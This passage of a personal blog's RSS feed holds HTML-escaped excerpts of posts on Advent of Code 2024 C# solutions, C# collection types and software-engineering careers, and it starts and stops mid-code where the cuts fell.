&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;vector&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;X&lt;/span&gt; &lt;span style="color:#111"&gt;+&lt;/span&gt; &lt;span style="color:#111"&gt;button&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Delta&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;X&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;vector&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Y&lt;/span&gt; &lt;span style="color:#111"&gt;+&lt;/span&gt; &lt;span style="color:#111"&gt;button&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Delta&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Y&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;bool&lt;/span&gt; &lt;span style="color:#111"&gt;IsBeyondPrizeLocation&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;this&lt;/span&gt; &lt;span style="color:#111"&gt;Vector&lt;/span&gt; &lt;span style="color:#111"&gt;vector&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;MachineConfig&lt;/span&gt; &lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;=&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;vector&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;X&lt;/span&gt; &lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Prize&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;X&lt;/span&gt; &lt;span style="color:#111"&gt;||&lt;/span&gt; &lt;span style="color:#111"&gt;vector&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Y&lt;/span&gt; &lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Prize&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Y&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#111"&gt;IEnumerable&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;DirectedEdge&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;GetEdges&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;this&lt;/span&gt; &lt;span style="color:#111"&gt;Vector&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;from&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;MachineConfig&lt;/span&gt; &lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;to&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;from&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Move&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;A&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(!&lt;/span&gt;&lt;span style="color:#111"&gt;to&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;IsBeyondPrizeLocation&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;yield&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;from&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;to&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;A&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;TokenCost&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;to&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;from&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Move&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;B&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(!&lt;/span&gt;&lt;span style="color:#111"&gt;to&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;IsBeyondPrizeLocation&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;yield&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;from&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;to&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;config&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;B&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;TokenCost&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="part-one"&gt;Part One&lt;/h2&gt;
&lt;p&gt;It costs \(3\) tokens to push the \(A\) button and \(1\) token to push the
\(B\) button. What is the fewest tokens you would have to spend to win all
possible prizes? &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day13"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2024 Day 12: Garden Groups</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/12-garden-groups/12-garden-groups/</link><pubDate>Sun, 30 Nov 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/12-garden-groups/12-garden-groups/</guid><description>&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;
&lt;p&gt;Each garden plot grows only a single type of plant indicated by a single letter.
This \(4 \times 4\) arrangement includes garden plots growing 5 different
types of plants (labelled &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt;, &lt;code&gt;C&lt;/code&gt;, &lt;code&gt;D&lt;/code&gt;, &lt;code&gt;E&lt;/code&gt;). &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day12"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AAAA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BBCD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BBCC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;EEEC
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;dfn&gt;area&lt;/dfn&gt; of a region is the number of garden plots the region
contains. The &lt;dfn&gt;perimeter&lt;/dfn&gt; of a region is the number of sides of garden
plots in the region that do not touch another garden plot in the same region.
For example, the &lt;code&gt;C&lt;/code&gt; plants are in a region with area \(4\) and perimeter
\(8\). &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day12"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2024 Day 11: Plutonian Pebbles</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/11-plutonian-pebbles/11-plutonian-pebbles/</link><pubDate>Sat, 29 Nov 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/11-plutonian-pebbles/11-plutonian-pebbles/</guid><description>&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;
&lt;p&gt;The stones are in a line, with each stone having a number engraved on it. &lt;span class="citation-ref"&gt;&lt;a href="#AoC2024Day10"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;


&lt;div id='PlutonianPebbles.Parse.cs'&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;namespace&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2024&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;partial&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;PlutonianPebbles&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#111"&gt;IEnumerable&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;ulong&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;ReadStones&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;File&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ReadAllText&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;).&lt;/span&gt;&lt;span style="color:#111"&gt;Trim&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Split&lt;/span&gt;&lt;span style="color:#111"&gt;().&lt;/span&gt;&lt;span style="color:#111"&gt;Select&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;ulong&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Parse&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The snippet below contains a subtle bug. The &lt;code&gt;using&lt;/code&gt; statement disposes the
&lt;code&gt;StreamReader&lt;/code&gt; at the end of the scope &lt;span class="citation-ref"&gt;&lt;a href="#usingStatement"&gt;&lt;/a&gt;&lt;/span&gt;. This happens
before the &lt;code&gt;IEnumerable&amp;lt;ulong&amp;gt;&lt;/code&gt; is consumed. However, because &lt;code&gt;ReadLine&lt;/code&gt; eagerly
reads the content, there is no exception thrown.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#111"&gt;IEnumerable&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;ulong&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;ReadStones&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;StreamReader&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ReadLine&lt;/span&gt;&lt;span style="color:#111"&gt;()?.&lt;/span&gt;&lt;span style="color:#111"&gt;Split&lt;/span&gt;&lt;span style="color:#111"&gt;().&lt;/span&gt;&lt;span style="color:#111"&gt;Select&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;ulong&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Parse&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;??&lt;/span&gt; &lt;span style="color:#111"&gt;[];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="setup"&gt;Setup&lt;/h2&gt;
&lt;p&gt;Every time you blink, the stones each simultaneously change based on the first
applicable rule in this list:&lt;/p&gt;</description></item><item><title>Playing Politics as a SWE</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/playing-swe-politics/</link><pubDate>Mon, 24 Nov 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/playing-swe-politics/</guid><description>&lt;h2 id="macro-economics-interest-rates-and-you"&gt;Macro-Economics: Interest Rates and You&lt;/h2&gt;
&lt;p&gt;In the 2010s, interest rates were near-zero; investors borrowed a lot of money
and spent it on tech companies hoping for outsized returns. Companies desired to
attract and retain talent; &amp;ldquo;literally anything&amp;rdquo; is worth spending money on to
accumulate engineers. &lt;span class="citation-ref"&gt;&lt;a href="#Goedecke2025-03-16"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In 2023, interest rates rose to ~5%. Tech companies now need to make money. If
your work isn&amp;rsquo;t clearly connected to company profit, then your position is
unstable and on the whims of an executive that personally values your work.
&lt;span class="citation-ref"&gt;&lt;a href="#Goedecke2025-03-16"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Thinking Like a Strong Engineer</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/thinking-like-a-strong-swe/</link><pubDate>Sun, 23 Nov 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/thinking-like-a-strong-swe/</guid><description>&lt;h2 id="strong-engineers"&gt;Strong Engineers&lt;/h2&gt;
&lt;p&gt;Strong engineers can do things that weaker engineers just can&amp;rsquo;t, even with all
the time in the world. Some examples of capabilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Solving very difficult bugs, e.g., race conditions across multiple services.&lt;/li&gt;
&lt;li&gt;Delivering meaningful improvements to the thorniest parts of legacy codebases.&lt;/li&gt;
&lt;li&gt;Making changes that require a big architectural rework.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At the top end of strongest engineers, capabilities become something like
&amp;ldquo;improving the SOTA for LLMs&amp;rdquo;. &lt;span class="citation-ref"&gt;&lt;a href="#Goedecke2024"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Regular engineers make the bulk of most companies. They solve 95% of bugs
(normal, non-cursed bugs), deliver most JIRA tickets, and unstick themselves
from dev env issues most of the time. They &lt;em&gt;help&lt;/em&gt;. They &lt;em&gt;do the work&lt;/em&gt;. They&amp;rsquo;re
just not burning with ambition to excel at the next promo cycle. Probably have
other things going on in their lives. &lt;span class="citation-ref"&gt;&lt;a href="#Goedecke2024"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Collection Types in C#</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/collections/collection-types-csharp/</link><pubDate>Sat, 06 Sep 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/collections/collection-types-csharp/</guid><description>&lt;h2 id="choosing-a-collection-type"&gt;Choosing a Collection Type&lt;/h2&gt;
&lt;p&gt;In summary, the use cases are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Dictionary&amp;lt;TKey, TValue&amp;gt;&lt;/code&gt; for quick look-up by key.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;List&amp;lt;T&amp;gt;&lt;/code&gt; for accessing items by index.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Queue&amp;lt;T&amp;gt;&lt;/code&gt; for first-in-first-out (FIFO) access where the element is
discarded after use.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Stack&amp;lt;T&amp;gt;&lt;/code&gt; for last-in-first-out (LIFO) access where the element is discarded
after use.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LinkedList&amp;lt;T&amp;gt;&lt;/code&gt; for sequential access from either the head or the tail.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ObservableCollection&amp;lt;T&amp;gt;&lt;/code&gt; to receive notifications when items are
removed/added.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SortedList&amp;lt;TKey, TValue&amp;gt;&lt;/code&gt; for a collection sorted by keys and accessible by
either key or index.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HashSet&amp;lt;T&amp;gt;&lt;/code&gt; and &lt;code&gt;SortedSet&amp;lt;T&amp;gt;&lt;/code&gt; for a set for mathematical functions.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KeyedCollection&amp;lt;TKey, TItem&amp;gt;&lt;/code&gt; for items that have keys embedded in them; a
hybrid between &lt;code&gt;IList&amp;lt;T&amp;gt;&lt;/code&gt; and &lt;code&gt;IDictionary&amp;lt;TKey, TValue&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#CollectionsAndDataStructures"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="citation-ref"&gt;&lt;a href="#SelectingACollection"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Generic and Non-Generic Collection Interfaces in C#</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/collections/generic-and-non-generic-collections-csharp/</link><pubDate>Sat, 06 Sep 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/collections/generic-and-non-generic-collections-csharp/</guid><description>&lt;p&gt;There are two main types of collections: non-generic (&lt;code&gt;ICollection&lt;/code&gt;) and generic
(&lt;code&gt;ICollection&amp;lt;T&amp;gt;&lt;/code&gt;). &lt;span class="citation-ref"&gt;&lt;a href="#CollectionsAndDataStructures"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Non-generic collections only exist because .NET did not originally have generic
data types. They shouldn&amp;rsquo;t be used because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;They are untyped at compile time. The frequent casting from &lt;code&gt;object&lt;/code&gt; and the
actual type is error-prone; it&amp;rsquo;s easy to put the wrong type in the wrong
collection.&lt;/li&gt;
&lt;li&gt;Value types need to be boxed as &lt;code&gt;object&lt;/code&gt;, e.g., &lt;code&gt;List&amp;lt;int&amp;gt;&lt;/code&gt; stores its data in
an &lt;code&gt;int[]&lt;/code&gt;, which is more performant than using &lt;code&gt;object[]&lt;/code&gt; as that requires
boxing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#PlatformCompatDE0006"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Random Page</title><link>https://www.curiosities.dev/random/</link><pubDate>Sun, 24 Aug 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/random/</guid><description>&lt;script&gt;
 window.addEventListener("load", () =&gt; goToRandomPage());
&lt;/script&gt;</description></item><item><title>AoC 2024 Day 04: Ceres Search</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/04-ceres-search/04-ceres-search/</link><pubDate>Sat, 23 Aug 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/04-ceres-search/04-ceres-search/</guid><description>&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;This word search allows words to be horizontal, vertical, diagonal, written
backwards, or even overlapping other words. Here are a few ways &lt;code&gt;XMAS&lt;/code&gt; might
appear, where irrelevant characters have been replaced with &lt;code&gt;.&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;..X...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.SAMX.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.A..A.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;XMAS.S
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.X....
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The actual word search will be full of letters instead. For example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MMMSXXMASM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MSAMXMSMSA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AMXSXMAAMM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MSAMASMSMX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;XMASAMXAMM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;XXAMMXXAMA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMSMSASXSS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SAXAMASAAA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MAMMMXMMMM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MXMXAXMASX
